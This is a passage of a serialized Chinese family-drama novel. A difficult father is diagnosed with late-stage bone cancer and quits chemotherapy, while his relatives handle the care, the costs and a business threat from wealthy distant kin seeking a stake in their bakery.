电话里王海燕嚷嚷着说:“你别听你爸说什么去省城,在县城就行了,到时候如果要住院什么的,在县城还有房子住,能自己做饭,不用在外面买这买那的,能省不少钱。” 宁时春皱着眉说:“知道了,那你跟爸来县城吧,中午的饭点快过去了,我刚好能抽空去一。” “那行,我现在就带你爸去县城。” 挂了电话,宁时春看向在外面给客人点单收钱的孙佳佳,有些为难,不知道该怎么跟她说自己爸妈来县城看病,可能要跟他们住一段时间的事。 孙佳佳本来就不喜欢烟味,怀上孩子后,更是闻一点就想吐,店里有客人吸烟,她都是出去避开,医生也说最好不要让孕妇总是闻二手烟。 可他爸偏偏是个老烟枪,以前不住在一起还好,他本身是不抽烟的,他爸抽烟影响不到他们。 要是住在一起,抽烟这事他爸肯定不听劝,估计让他到阳台或者到房子外面去抽烟,他都不当回事。 孙佳佳看宁时春接了个电话脸色就不太好,忙去问:“怎么了?妈那边有什么事比较让你为难?” 她过来问了,宁时春还没想好怎么说,只好直接说:“我爸生病了,要来县城看病。” “什么病?很严重吗?” 宁时春摇头:“还不知道,我妈说是腿疼,但是病因镇上检查不出来,镇医院的医生让到县城或者省城检查,可能挺严重的,要不也不会检查不出来。” 孙佳佳摸摸肚子,心说真是不凑巧,本来日子过得好好的。 婚前婆婆很厉害,看起来有点恶婆婆的样子,也不太看得上自己,可婚后婆婆除了嘴巴厉害一点,别的地方没怎么作妖,反而是这个公公,时不时就要闹一出。 她都打算好了,自己娘家妈指望不上,好歹婆婆还是相对来说比较靠谱的,等自己月份大了,就让婆婆来县城帮忙,坐月子也得指望婆婆。 可现在公公竟然病了,万一真是很麻烦的病,也需要婆婆照顾,这就难办了。 不过不管怎么样,还是得先带公公去检查,看看到底什么毛病,也许只是痛风之类的。 孙佳佳说:“那等他们来了,我跟你一起带他们去医院?” “不用,我爸烟不离手,你恐怕受不了他身上那烟味,我自己带他们去就行,只是我有点担心,如果我爸的病比较严重,得住院的话,他们这一辈的人,住院的时候要是有得选,很多人都不乐意晚上在医院睡,到时为了方便看病,他估计要住在我们县城的房子里。” 他爸这一辈的人在镇上看病也这样,甚至打吊瓶都不乐意在医院待着,非得把吊瓶带回家打,等到药水快打完了,才去医院找护士拔针。 孙佳佳看宁时春考虑到自己的感受,倒是对公婆来自己家的事没那么排斥了。 只是她确实闻不得烟味,好不容易店里多请了一个人后,遇上有人在店里抽烟,她可以避开,孕吐缓解了一些。 要是在店里干了一天活,回家还闻到那种令人不适的味道,孕吐再加重,他们多请一个人多花的钱可不就浪费了。 孙佳佳想说要不自己问问三婶能不能去她家住几天,可又想到公公来看病,自己这个当晚辈的帮不上忙就算了,还马上躲到亲戚家去,貌似有点不像话。 她想着,自己怎么也得先跟公婆住个几天才行:“不要紧,我白天都在店里干活,晚上提前在店里吃过,回家直接回房洗漱睡觉,不开房门就好了,我们房间的门封闭性还是不错的,他在家里其他地方抽烟,我在房间里也闻不到。” 宁时春想不到别的更好的办法,只好说道:“那就先这样。” 然而他们还是想得太简单了,完全没料到宁绍贤这个人有多麻烦。 宁时春和王海燕一起跟宁绍贤去县医院检查后,检查结果要第二天才出来。 为了第二天能配合宁时春开店的时间,不耽误他做生意,当天晚上就住在他县城的房子里。 就这第一晚,宁绍贤就开始找事,孙佳佳看到他要抽烟,起身回房间,晚上也没跟他们一起吃饭,他脸色就非常不好,觉得自己被儿媳嫌弃了。 嘟囔了几句,宁时春没理他。 孙佳佳出来上厕所的时候,正好遇上宁绍贤在客厅看电视抽烟,她一闻到那味道就有点反胃,赶紧捂住口鼻想快步往厕所里走。 结果就是这么一个捂住口鼻的小动作,被宁绍贤看到,以为儿媳嫌弃自己,再加上吃了止痛药腿还是隐隐作用,他就有些控制不住自己的脾气,马上就炸了。 他堵在洗手间门口质问孙佳佳:“你这是什么意思?是不是看不起老子?我是你男人亲爹,看不起老子,你嫁到我家做什么!” 宁时春听到声音急忙出来把他拽走:“我媳妇儿就是出来上个厕所,可没招惹你,你骂她做什么!” 孙佳佳被吓得躲在洗手间不敢出来。 宁绍贤转头大骂宁时春:“娶的什么玩意儿,连你亲爹都敢看不起,你也是个孬种,连自己媳妇儿都管不了,老子生你养你有什么用!” 宁时春也恼了:“既然你觉得我没用,那你别住我买的房子,你回镇上自己住去!也别让我带你去看病!” “呸!不就是个破楼房,当是什么稀罕玩意儿!老子这就走,以后要饭也不要到你家门口,死在家里也不用你给我摔盆!” 王海燕刚才在厨房里,不知道发生了什么,但听到他们吵架也赶紧过来劝架。 可这父子俩都在气头上,她谁也没劝住。 宁绍贤让她收拾东西赶紧走,王海燕不听他的,他只好自己冲进房间收拾。 等人走了,宁时春才走到洗手间门边,叫孙佳佳出来,也没管宁绍贤,带着孙佳佳回房间了。 本来宁时春以为按照宁绍贤以往的脾气,肯定会被气得说走就走,以后不再来他这里。 没想到他注意了半天隔壁房间的动静,也没听到开门关门的声音。 小夫妻俩在主卧面面相觑,又等了一会儿,还是没动静。 他们忙了一天也挺累,干脆不管了,自顾自睡觉去。 早上两人起得早,没遇上宁绍贤,过了早饭客流高峰,宁时春跟他们去医院拿检查结果才跟宁绍贤遇上了。 宁时春本来以为他爸昨晚闹了一场,今天他爸肯定不给自己好脸色,还要继续对着自己骂骂咧咧。 没想到见面后,他爸看起来竟然像是昨晚什么都没发生一样。 这让宁时春又回想到以前自己还小的时候,大人们吵架后的样子,背地里恨不得诅咒对方死全家,见了面好像全都失忆了一样继续来往,有说有笑的。 搞得他们这些小孩都糊涂了,不知道双方家长的关系到底是好还是不好。 进了医院,轮到他们进去看医生。 医生看了检查的结果,皱着眉先让王海燕带着宁绍贤出去,只留下了宁时春,跟他说他爸的病情。 第150章 “……检查结果显示,你父亲的病很有可能是骨肿瘤,也就是骨癌,并且癌细胞已经扩散到……根据我的初步判断,他的情况已经属于晚期阶段……” 宁时春离开诊室的时候,医生的话仿佛还在他耳边回荡。 骨癌晚期? 为什么会这样? 明明以前什么征兆都没有,一来检查,突然就说是晚期了。 宁时春本来以为他爸又作妖,为了折腾他们,故意把一分的疼痛演出十分疼痛的样子,结果竟然不是装的,还是真的病了。 “怎么样?医生怎么说的?” “为什么让我们出来,我是病人,怎么还不让我听?” 宁时春一出来,宁绍贤和王海燕就凑到他身边发出一连串的询问,但他却不知道该如何回答。 沉默半晌,他实在不知道该怎么跟父母说出这个检查结果,只能想到一个暂时应付过去的借口:“医生说县城这边检查也不太准,让我们再去省城看看。” 宁绍贤不满地指责王海燕:“我早就说让你叫小春带我去省城检查,你非说麻烦,让我在县城查,结果怎么样,白白浪费两天时间,还浪费了检查费。” “我怎么知道会这样,县城怎么说也比镇上好很多!”王海燕也有些心疼花出去的检查费,问宁时春,“既然在县城检查不出什么,那这些检查不就没用了吗?没用的检查怎么还能收钱,能不能让医院把钱退回来?” 宁时春:“……退不了,人家的机器开一次不要钱啊?” “没法全部退,退一半也行啊,谁让他们的机器检查不出来呢!我们花了钱检查,他们检查不出来,那不是坑人嘛!” 宁时春有些不耐烦地说道:“不行就是不行!妈你别闹了,趁着现在时间还不晚,我们直接去省城再检查一次。” 此时,宁时春心里已经相信县医院医生检查出来的结果,但依然有些侥幸心理。 他想着万一县医院这边的检查确实不准,或者是误诊呢? 王海燕看儿子生气了,没敢再说话。 宁时春给孙佳佳打了个电话,跟她说自己要临时带父母去省城医院一趟,让她自己决定下午继续开店还是提前关门回家休息。 孙佳佳在电话里问在县医院的检查结果怎么样。 宁时春含糊过去了,说等他晚上回家再跟她说,电话里说不清楚。 孙佳佳听到他的话心里就是一咯噔,但也没再继续问。 宁时春三人出了医院,他站在医院门口的路口拦三轮车,坐三轮车去客运站再乘坐大巴去市里。 宁绍贤这时候又开始故态复萌,突然就开口嘲讽地说道:“你不是跟你三叔好得像他亲儿子似的,他都买私家车了,你怎么不叫他开车送我们去省城,还要坐三轮车去客运站坐大巴?” 宁时春像看傻子似的看着他,不敢相信这也是一个当父亲的人,对着正在带他看病的儿子说出来的话。 “人家欠我的?”宁时春没好气地说道,“你是我亲爹,我现在花钱给你看病,以后还要花钱给你治病,我挣的钱怎么来的,你难道不知道? 你坐牢的那段时间,三叔教我手艺,让我有安身立命、娶媳妇儿、养孩子、孝敬父母的本钱,这本来该是你这当爹的责任,该是你帮我谋划,你不帮我,三叔帮了,你作为我亲爹,回来后跟人家说过一句谢谢没有?你就酸人家!” 宁时春这话把宁绍贤臊得有些无地自容,但更多的是恼羞成怒,他想端起当父亲的架子,可那架子刚才已经被宁时春拆了,这招没法用,又要被提醒自己还要仰仗儿子带去治病,只好把想说的话都憋了回去。 憋半天只嘟囔出一句:“你现在是长本事了,做几年生意,嘴皮子厉害得很,我说不过你!” 宁时春见他爸消停了也懒得再跟他爸多说,他现在心烦得要命,要是省城查出来的结果也跟县医院查出来的一样。 就得考虑要不要继续给他爸治病的问题。 不治的话,有些站着说话不腰疼的人可能会说他闲话,以后还有可能会在他客人面前、他孩子面前说他闲话。 要是治的话,那就是个无底洞,最后还有可能人财两空。 而且他媳妇儿还怀孕了,现在生孩子要花不少钱,养孩子更要花钱,可不是跟以前一样,多个孩子就是添一双筷子的事。 三个人到了省城,宁时春要求医生给他们把所有该做的、能做的检查全都开了一遍,带着宁绍贤到处跑,可算是赶在人家下班之前,把检查全都做完了。 有些检查结果跟县医院一样,也是要第二天才能出,他们晚上就赶着夜班车回到了县城。 回到家,孙佳佳提前做好饭菜,自己吃饱了,等他们快到家的时候,又把给他们留的饭菜热了一下。 三人一回到家就吃上了晚饭。 宁绍贤又在饭桌上抽烟,不过这次孙佳佳回房间他没敢再作。 宁时春吃饱后,以医生说孙佳佳需要多散步的借口,跟孙佳佳出门,去附近的公园散步,顺便在散步的时候就把他爸的病跟孙佳佳说了。 孙佳佳摸了摸自己的肚子,跟宁时春担心的想法同步了。 不过她的顾虑倒是没有宁时春那么多,毕竟宁绍贤只是个跟她不太合得来的公公。 孙佳佳想到了个办法:“等省城的医生说病情的时候,要不别让爸妈避出去了?他们总得知道的,让医生去说,跟你自己听了回来后左右为难,再想办法委婉地告诉他们比起来,你的压力更小些。 等他们知道后,这病不管是治还是不治,该怎么治,让爸妈来决定,有医生在场也好商量,毕竟我们也不知道该怎么办,最后如果要治的话,还是得听医生的意见,配合医生去治疗。” 宁时春本来不知道该怎么办,听到孙佳佳的话,觉得很有道理。 但又有一点担心他爸知道自己的病情后受不了。 孙佳佳想了想又说:“那要不提前跟医生商量一下,只说是什么病,不说多严重,要么就把病情的严重程度说得轻一点。” 宁时春觉得自己也想不出别的更好的办法了。 去医院拿到结果后,就按照这个办法去做。 诊室里。 宁绍贤第一次听到医生的话,还以为自己听错了:“你、你说什么?什么瘤?” 医生叹气,又重复了一次。 宁绍贤再三确认:“骨肿瘤是骨癌、癌症的意思?” “是的。”医生正要按照提前跟宁时春商量好的说辞,说一些安慰和鼓励宁绍贤的话, 宁绍贤却两眼一翻就要晕过去。 王海燕急忙上前,猛掐他人中,把人掐清醒了。 医生赶紧把商量好说辞说出来宽慰他,劝他配合治疗。 但宁绍贤这时候什么都听不进去了,他满脑子都是自己得了癌症的事实。 他满心想着,好不容易现在日子好过了,躺在家里什么都不干也能每天吃上肉,家里洗衣机、冰箱、电视机全都有,日子越来越好了。 以后等女儿也上班能挣钱,儿媳妇也生了孙子,他家的日子还会更好,可他自己却没多少时间去享受了,怎么想都亏得慌。 再配合治疗又怎么样?治疗的时候身体多难受啊,还要忌口,这不能吃、那不能喝的,而且也不知道到底还能有几年的活头。 宁时春是真没想到宁绍贤的抗压能力那么弱,明明医生都没说是晚期,他也依然绷不住了。 他和王海燕还有医生,三个人劝了半天,才劝他听得进一点人话。 听得进去医生的话了,也听到自己的病不是癌症晚期,还有得救后,宁绍贤的神色看起来才没那么绝望了,也表示自己会配合治疗。 跟医生说完后,宁绍贤小心翼翼地看了儿子一眼,他以后真得全靠儿子救命了,已然硬气不起来一点。 宁时春知道,他这就是想治的意思了。 跟医生商量好治疗方案后,宁时春当天就给宁绍贤办了住院手续。 办完住院手续,王海燕在医院里陪护,宁时春给妹妹打了电话。 跟宁丹萍说完这件事,等她消化完这些信息后,让她有空来医院跟王佳燕接替一下。 宁时春有空也会来替,但是他最主要的任务还是挣钱。 给宁绍贤治病得花不少钱,还要留一笔钱预备着他媳妇儿生孩子,以后养孩子,店里的生意是家里收入的最大来源,可不能丢下。 赵如月接到宁时春的电话,听他说起宁绍贤的病时,没感到意外。 这种事该怎么防呢? 赵如月也不知道,这是超出她认知范围的知识,她也不会特地为了宁绍贤去查。 而且现在她家人也跟宁绍贤接触得不多,尤其是他见到宁绍明的时候,总爱对宁绍明说些酸话之后,她家人跟宁绍贤见面的次数更是越来越少。 要不是宁时春打来电话,赵如月都没想起来宁绍贤的这一劫。 不过赵如月和宁绍明只是不怎么跟宁绍贤来往,并没有像是跟宁绍德一样断了亲。 作为关系比较近的亲戚,还有看在宁时春和宁丹萍兄妹俩的面子上,宁绍贤生病住院,他们不管怎么说,也得抽空去探望一下。 他们俩带着东西去省城的医院探望宁绍贤的时候,走到病房门口,就听到里面闹哄哄的。 打开病房隔绝喧嚣声的门,里面传来更清晰的嘈杂声。 宁时春在给赵如月和宁绍明说宁绍贤病情的时候,完全没有隐瞒他们,所以他们以为,宁绍贤现在应该是比较虚弱的状态。 谁知道一打开门,就听到他在大声嚎叫:“我不要做化疗!那玩意儿谁爱做谁做,反正我不做了!再继续做这个,我还没病死就得被折磨死!” 150-160 第151章 在知道自己得癌症的时候,宁绍贤满心想的是以后的好日子,不管怎么样都要把自己的病治好。 可是他完全不了解治病的过程中自己需要经受怎样的折磨,化疗有多痛苦。 即使医生跟他说过,他也没往心里去,觉得之前腿疼成那样,他都经历过了,再难受还能比那种骨头缝里钻出来的痛那么难受? 事实证明,还真有,让人求生不得求死不能。 宁绍贤看到赵如玉和宁绍明来了,不知道想起什么,眼睛一亮,直直地往他们的方向扑。 宁绍明看宁绍贤扑的方向更偏向赵如月,忙往前一步,把赵如月护在身后拦住他:“大哥,你这是做什么?” 宁绍贤紧紧地攥住宁绍明的胳膊:“老三,你帮帮我吧!我实在受不住了,老三媳妇儿她三叔不是特别厉害的老中医么,我不在医院治了,回老家让他给我治,我宁愿喝苦药,也不要在医院遭那些罪!你不知道,在这里治又难受又吓人,还不如让我死了算了!” 宁绍贤只做过一次化疗就受不了了,一心只想回家。 他担心家人不答应,所以才闹了起来,想着闹得厉害点,医院受不了自己,家人也受不了,自己才能回去。 在场所有人听了他的话,一时间都不知道该说些什么。 宁绍明是不太想给媳妇儿三叔找事的,更何况他哥这病已经是癌症晚期,想治好简直除非有奇迹出现。 别到时候他身体状况越来越差,到处跟人说媳妇儿三叔坏话,坏了老人家的名声。 宁绍明对自己大哥的人品不敢信任。 他不敢满口答应下来,只含糊地说:“我媳妇儿她三叔没治过这种病,也不知道他会不会治,我回去只能先帮你问问,要是他不会的话,再给你找别的中医。” 宁时春看他爸闹得不像样子,跟宁丹萍一起上来把他拉开:“爸,你先别这么激动。” “我能不激动嘛!难受的又不是你们,你们倒是能站在这里说风凉话!”宁绍贤赤红着眼睛瞪向他们几个,“我要回家!听到没,我要回家!” “听到了听到了,我们先去找医生商量一下。”宁时春无奈,本来留在医院治只是有可能延长他的生命,还不知道到底能延长他的生命多久,这个连医院的医生专家也不敢保证的。 既然他觉得那么痛苦,那想回去就回去吧,至少最后的日子里能少遭点罪。 但越到后面,病情越严重,这种病临终前想一点不遭罪是不可能的,医生说到后期止痛药都不一定有用了。 宁时春说是先去找医生商量,其实只是他和宁丹萍、王海燕一起出去商量,是不是要带他回去,回去后又该怎么办。 毕竟给他办出院,把人带回去,就相当于是放弃治疗,回去等死了,他们作为家属,必须得先好好商量。 商量好之后,再去找医生提出要出院的想法,再让医生开药,买了药后,办理了出院手续就带着宁绍贤回去了。 刚好宁绍明和赵如月是开车来的,直接一车拉回镇上了。 带去探望宁绍贤的东西也一起拉到他家,放下东西后,他们跟宁绍贤也没什么好聊的,把探望亲戚要包的钱给了宁时春,他们就离开,去了隔壁再看看宁达和黄秀华。 黄秀华还是老样子,不过比起当初干农活又累又晒,面黄干瘦的样子,现在的她每天活动量比较少,吃得也好,整个人倒是看起来比以前白胖很多。 有时候她会控制不住自己的屎尿,但宁达照顾得还算仔细,也搬得动她,有时候宁美婷也会来给她洗澡,她身上倒是没什么异味,也穿得很整洁,没长褥疮之类的。 只是她人都糊涂了,过得好不好,她自己也不知道。 偶尔他们回来探望她和宁达,她似乎也有清醒的时候,看着宁绍明,知道叫儿子,只是不知道叫的哪个儿子。 反正宁绍明自己是不太对她抱有期待的,毕竟是亲妈,人都说小儿子大孙子,老人家的命根子,可宁绍明这个小儿子没得到过偏爱。 甚至得到的母爱都不是兄弟姐妹几个平分的,而是先给他二哥,剩下的一点他妈才施舍一点给他,以前很多时候他都要让出自己的利益。 亲生的母子,宁绍明这个当儿子的也是她养大,他不可能一点不在乎。 他私下也有点酸地跟赵如月说:“我妈每次叫的八成是我二哥。” 可惜她二儿子一年到头也没怎么回来看望过她,一年能见上两三次都算多了,有时候就过年来一次。 而宁绍明会那么想,是因为宁时秋回来看望两个老人的时候,他妈处于看似有点清醒的那个状态,就知道小秋小秋地叫,可见有时候并不一定认不出谁是谁。 她见到宁时秋就兜想给宁时秋找糖吃,不过她兜里什么都没有。 宁达怕一个没注意,她自己吃糖噎住嗓子,什么都不让她往兜里放。 她还知道冲着宁时夏瞪眼。 宁绍明听他爸说,老太太没病之前,宁时夏每次被她逮住念叨,就爱找她薅零花钱。 她每次都骂,但是又每次都给。 宁绍明没跟宁达说宁绍贤的病有多严重,他爸也上了年纪,孩子走在自己前面,白发人送黑发人这事他不一定受得住。 宁达也只以为是良性的肿瘤,老一辈迷信中医,他听宁绍贤说医院里治病多难受,多可怕,还很赞同宁绍贤回家的做法。 宁达跟宁绍明说:“你帮你大哥问问你媳妇儿她三叔,每个大夫擅长治的病不一样,我知道他不擅长这个,但是他们当大夫的,总认识几个同行,保不齐就认识擅长治这个病的大夫。” 宁绍明应下:“好,我等会儿就去问问。” 宁达又叮嘱道:“记得带点东西,别因为是亲戚就空着手去,你也别自己出钱,让小春出,你大哥现在这个样子,小春也该担起他们家的事来了。” 说完顿了顿,觉得自己后面那句就是白说一句,小春早就把那个家担起来了。 自从镇上整体改建旅游小镇后,不少人没法建楼房,就把钱拿到县城,给家里孩子买商品房,孩子结婚也是当父母的出钱操持。 小春对象是自己找,结婚是自己出钱、买房的钱他借老三的,也是自己还。 这些事老大就出了个人,一分钱没出,还找事惹孩子生气,你说你帮不上孩子,那就老实待着不给孩子扯后腿行不行? 宁达真是骂他都骂倦了,现在看到他都觉得心累。 宁绍明说:“放心,到时候小春跟我一起去。” “那就好,这些人情世故,你也带带他,你大哥我是不指望他,他别再闹出什么事情来就行。” 宁绍明和赵如月开车回去的时候捎带上了宁时春,中途先绕到自己家,拿了些礼品,还有赵如月托别人帮她三叔搜罗的药材,才又绕路去了赵如月三叔家。 宁时春怪不好意思,本来他爷爷说让他出钱买礼品,可他临时买的肯定不如三叔家的东西好。 给钱又显得太见外了,三叔三婶肯定不收。 宁时春只好先跟他三叔三婶道谢,然后把这事记在心里,等回去后问问自己媳妇儿,该怎么还比较好。 三个人带着宁绍贤的病历本就去了,让老人家先看看病历,问问他这种情况还有没有什么办法,可以缓解一下他的病症,治是不指望能治了。 顺便也跟他说说宁绍贤的情况,以后宁绍贤要是来看病,请他老人家帮忙瞒一下,毕竟现在宁绍贤还不知道他自己的病情,还以为真是良性的肿瘤。 赵如月她三叔看完宁绍贤的病历,问宁时春:“你们在医院开了药吧?” 宁时春点头:“开了,但是我爸不太愿意吃医院开的药,总觉得医院的东西都不好,会害他。” 他出钱给他爸住院、看病、卖药没觉得心疼,但是应付起他爸这些问题是真头疼。 当初喊着要去省城治病的是他,不相信医院、不相信医生、不遵医嘱的也是他! 作为行医多年的老大夫,赵如月她三叔早见惯了这种事:“你回去跟他说,把医院的药吃完后去复查,复查后再来我这里,要不然,我不给他看。” 宁时春听到他的话就知道他答应帮忙了,急忙应下。 有这位老大夫的话,回去后他爸应该会消停点。 回去后,宁时春把老大夫那些话跟宁绍贤一说,宁绍贤果然老实了些。 他似乎也知道自己现在要倚仗别人的照顾,对王海燕也不敢跟以前一样那么嚣张了。 王海燕一朝翻身,又在家成了那个说一不二的人,当然前提是家里只有他们夫妻两个。 宁时春没继续在镇上多待,他现在压力挺大的,明天还想开店挣钱,当天晚上就跟着赵如月和宁绍明赶回了县城。 回到县城的家时,已经是晚上,孙佳佳已经做好了饭,在家里等着他回来。 宁时春洗了手和脸,边吃饭边跟她说今天发生的事。 说完问孙佳佳:“你觉得我们给三叔三婶送什么比较好?三叔三婶好像什么都不缺,我能想到的东西送着好像都不太合适。” 孙佳佳道:“你也说了,三叔三婶什么都不缺,我们送他们东西,他们还担心我们太破费,不如给小秋和小夏买点东西,给他们买就好买多了,我们对小秋小夏好,三叔三婶只会更高兴。” “对啊,不过买什么?现在流行的学习机他们成绩好,也用不上,要不名牌的衣服或者鞋子?我看现在好多小孩和年轻人都讲究穿牌子货。” 孙佳佳无奈地看他:“你觉得三叔三婶家是讲究这些的?花那买名牌衣服鞋子的钱,还不如直接买个小金条,或者按照他们的生肖,打个小金饰送他们实在,金子还能升值呢,以前你给我买的那些,现在用以前的价格可买不到了,翻倍地涨!” “翻倍涨!?”宁时春震惊了。 他们结婚前,孙佳佳怕自己的工资被她父母抢走,发了工资都给他拿着,他每次都添点直接给她买成小金条或者金首饰放着。 后来跟他一起开店,孙佳佳就不要工资了。 那时候,她爸妈默认她算是已经嫁给了宁时春,虽然还没结婚,也算宁家的儿媳妇。 孙佳佳有了靠山,对他们的态度又比较强硬,他们就不敢再肖想她的钱。 店里和家里管钱的人,就从宁时春变成了孙佳佳,从那时候起,宁时春就没再买过金饰,当然就不怎么关注金价了。 要不是这次他爸生病需要钱,他估计都不知道自己家的家底有多少。 他甚至以为自己家当初借三叔的钱都没还呢。 其实早还完了,也攒下来不少存款。 如果没发生他爸的事,孙佳佳已经打算让他去学车,然后也给他买一辆面包车方便出行和拉货用了。 “是的,翻倍涨了,我跟三婶都买了不少,你可别说出去,让人知道可不好。” “我明白,那就等小秋和小夏生日的时候给他们买那个。” 另一边,宁绍明和赵如月回到家,孩子们在房间里玩游戏,他们坐在客厅,只开了小灯,疲惫地坐在沙发上,谁也没说话。 他们也不是身体累,只要不是忙得昏天黑地,他们的身体就不容易累,现在是心累。 宁绍明想想自己家这边,兄弟姐妹四个,一个快病死了,一个差点变成他妈那样,只剩他跟他姐现在看起来没什么问题。 可是以后的事情谁也算不准,难怪赵如月那么紧张他的身体情况,她娘家那边这种情况就很少。 宁绍明现在只希望,自己两个孩子遗传媳妇儿那边更多点,可千万别遗传了他家这边的毛病。 沉默半晌,宁绍明说道:“改天我也劝劝大姐,每年定期去体检。” “家里老人也要定期去体检了。”以前赵如月就想提这个事,但是现在的人有病都不一定愿意去医院,更何况身体看不出有什么病的时候去体检? 要是体检出病来,没准还要怪体检,觉得体检才检查出事来了,不体检就没那么多事。 宁家的事,也算一个提出带老人去体检的契机。 赵如月除了担心宁绍明,也担心她爸,她妈还是相对来说比较长寿的,她爸上辈子走得就太早了,比生活不能自理的黄秀华走得还要早。 想来现在她娘家生活条件好了,他爸不用那么辛苦,再每年定期体检,身上有点小毛病的,该治就治,应该能更长寿些。 赵如月这么计划着,过了一段时间,送走一批在云山县总公司培训好的员工到省城去后,稍微有了点空闲时间,孩子也刚好不用去市里上兴趣班。 她就开车带着孩子回了镇上,拉着孩子一起劝两家的老人去体检。 三个老人跟她猜的一样,觉得体检没必要,但有宁家突然生病的人当活生生的例子,他们也犹豫了。 再加上她家的两个孩子在旁边劝,三个老人半推半就地就答应了。 赵如月不给他们反悔的机会,第二天就直接一车把人拉到省城去检查。 检查过后,三个老人除了有点小毛病,暂时没有其他问题,赵如月才稍稍放下心来。 顺道带着她爸妈去妹妹家的店里看了一下。 赵如媛的店,现在生意非常红火,客人太多,夫妻俩都忙不过来,请了两个员工帮忙,林彩柔下课后,写完作业也来店里帮忙,才勉强应付得过来。 看到赵如月带着爸妈来了,赵如媛想好好招待他们来着,可客人一直催,她也只能跟他们说几句话就赶紧去招待客人了。 反而是赵如月几个临时帮了一会儿忙,过了最忙的那一阵之后,赵如媛和林国豪才能坐下来跟他们好好说话,给他们也做几盘了几盘小龙虾尝尝味道。 吃得差不多,他们要走的时候。 赵如媛把赵如月叫到房间里:“姐,彩柔说有点东西想让你带回去给小秋和小夏,你跟我进来拿一下。” 赵如月正跟林彩柔说话,注意到林彩柔有一瞬间疑惑,但又很快反应过来,什么都没说。 她就明白了,那大概是她妹妹有话想私下跟自己说,随便找的借口。 第152章 “怎么了?”进入房间关上后,赵如月问道。 赵如媛满脸担忧:“姐,你还记得妈过寿那天,主动去送礼的远房亲戚吗?” 赵如月当然记得,那几个远房亲戚给她的印象还挺深的,因为她完全没想过,他们竟然会来找自己家谈合作。 “记得,他们也来找你谈合作开店的事了?” “如果是这事,我就不用发愁了,直接拒绝就是。”在开店这方面,赵如媛也学的她姐,不轻易扩张,更别说接受别人的投资,开什么连锁店。 她虽然很想多挣点钱,但不贪,不喜欢这种让她感觉有可能会失控的挣钱方式。 赵如媛继续说道:“他们是对你家的面包店还没死心,想从别的地方逼你们答应跟他们合作!” “别的地方?”赵如月在听完她话的一瞬间,脑子里闪过自家孩子的脸,不由担心起来,难道他们想耍些不好的手段? 好在赵如媛接下里的话打消了她的疑虑:“他们好像跟你们找的那个中药材企业负责人有交情,还是亲戚来着,我也不太懂,反正肯定是有关系,他们来的时候就是暗示我,让我给你转达他们的意思,大概就是,如果你们还不同意的话,就要搞黄你们仓库的生意,让你们仓库白白空着,把钱压在那里动不了。” 这也是赵如媛这么担心的很重要的一个原因,建仓库那块地可是她家卖给她姐家的,她姐要不是为了帮她,不至于跑到省城郊区买一块本来用不上的地。 哪怕以后有可能会拆迁到那边又怎么样? 也有可能不拆迁啊,这种事谁能预料到呢?她们家里又没有内部消息。 在赵如媛看来,二姐帮自己担着有可能让那二十万白白压在块地的风险,她很希望二姐家的仓库建好后,能尽快开始挣钱,把压在这块地的钱尽快挣回来。 一得到这个消息,赵如媛马上就想联系赵如月,可店里生意太忙,她正想着忙过客人最多的这一阵就给她姐打电话说,结果她姐带着爸妈来了,也是赶巧。 把这事说出来,赵如媛心里就好受多了,她有些焦虑地说道:“姐,我们得想想办法,可不能让他们得逞!” 赵如月倒是挺淡定,毕竟事情还没发生:“别担心,现在还不知道他们说的话保不保真,我先去查查,如果是真的,我回去再跟你姐夫想办法解决。” 她现在可不是当初那个遇到麻烦,除了一条命之外,什么本钱都没有,只能以身犯险的人了。 苏胜楠的维修家政服务公司有她的一份,这是她们没怎么往外说过,知道的人不多。 这个生意目前看起来不如房地产之类的大买卖高大上,也非常不起眼。 但想要获得什么信息,也是能用上的,用起来还很方便、很管用。 因为这,她们在跟员工签合同的时候,还把不得泄露客户家庭信息的条款写进了合同里。 不过客户之间的人际关系,不在合同条款规定的范围里,毕竟很多客户觉得她们公司里的某个员工好,也会互相介绍。 如此一来,客户之间的关系,也就不算什么说不得的秘密了。 赵如月去了一趟省城的分公司,先把客户的档案拿出来查阅。 现在一点简单的修理问题都找维修人员上门的人家,多是经济条件比较好的单身女性和家庭。 这个年代,很多普通人家里的男人多少都会一点简单的修理,不到不得已必须要找人修,一般不舍得花钱请人。 她那几个远房亲戚,经济条件非常好,省城能让经济条件好的人扎堆住的也就那么几个地方。 她们公司的选址就在这些地方的居中位置,不管去哪个距离都不远,分公司这边为了迎合目标客户群体,装修得又比较上档次。 赵如月对自己培训出来的员工很有信心,也对公司很有信心,如果她那几个亲戚找过维修或者家政,找的八成就是她们公司的员工。 她仔细翻找,果然找到了,客户档案上,详细记录了哪个员工为那几家提供的服务,是谁介绍的。 到这一步,后面的事情就简单多了。 赵如月继续往后查,确实查出那几个远房亲戚里,有一个确实跟自己谈下来的客户有关系,那个客户是那个亲戚的小舅子。 查到这层关系,赵如月不免猜测,她家仓库之所以在还没能投入使用的时候,就找到一个优质客户,是有人在背后推动。 不知道对方是太过傲慢,还是太看不起她和宁绍明,做这种事不遮掩就算了,还特地跑去找她妹妹说。 这让赵如月很难不认为这是不是在向自己家示威。 赵如月也是感觉挺无奈的,不过有一点也多亏他们的这些小动作,要不然她还不知道自己家面包店的价值比自己和宁绍明想象中还要高。 既然这样,有钱当然是自己挣,凭什么分给这种会在背后耍手段的人呢? 他们有钱是他们的事,有钱向投资别人就一定要接受吗? 赵如月憋着一股气继续查下去,她得先确认对方还有没有其他过硬的关系。 查到最后,发现他们也只是比较有钱罢了,搬到省城这么多年,生意做得不温不火,跟她老家比起来,肯定算是特别有钱的,可在省城也排不上号。 所以虽然在省城也认识一些人,但也仅限于认识,背后并没有什么大靠山,赵如月这才稍稍放心了。 他们敢让她妹妹传话,透露自己的意图,大概是想仗着信息差,表现出一副他们在省城很厉害的样子,赌她探不清他们的低。 可惜那几个人对赵如月的判断有误,也太小看她和宁绍明了。 赵如月查完对方的信息后,也不着急反击。 对方暂时还没动作,但是主动暴露了出来,现在他们在明,赵如月打算暗地里做准备,明面上仍旧当做不知道这回事。 继续做仓库的收尾工作,同时摆出一副等待着客人货物运进来存放的样子。 借着这个烟雾弹,赵如月找了个时间,跟宁绍明商量起网店的事。 早就有客人催着他们在网上开店,而且已经不只有市里和省城的客人,还有一些去镇上旅游,在她们家镇上的老店吃过东西,被吸引的外地客人。 只是宁绍明挺忙的,在这方面顾虑也比较多,就一直拖着。 很多人让赵如月催他,赵如月也没催,她还希望宁绍明能多点休息时间呢。 只是现在情况不一样了,他们有仓库,也就是说,有地方可以存放很多货物。 甚至开辟出一块作为操作间,大量生产面包。 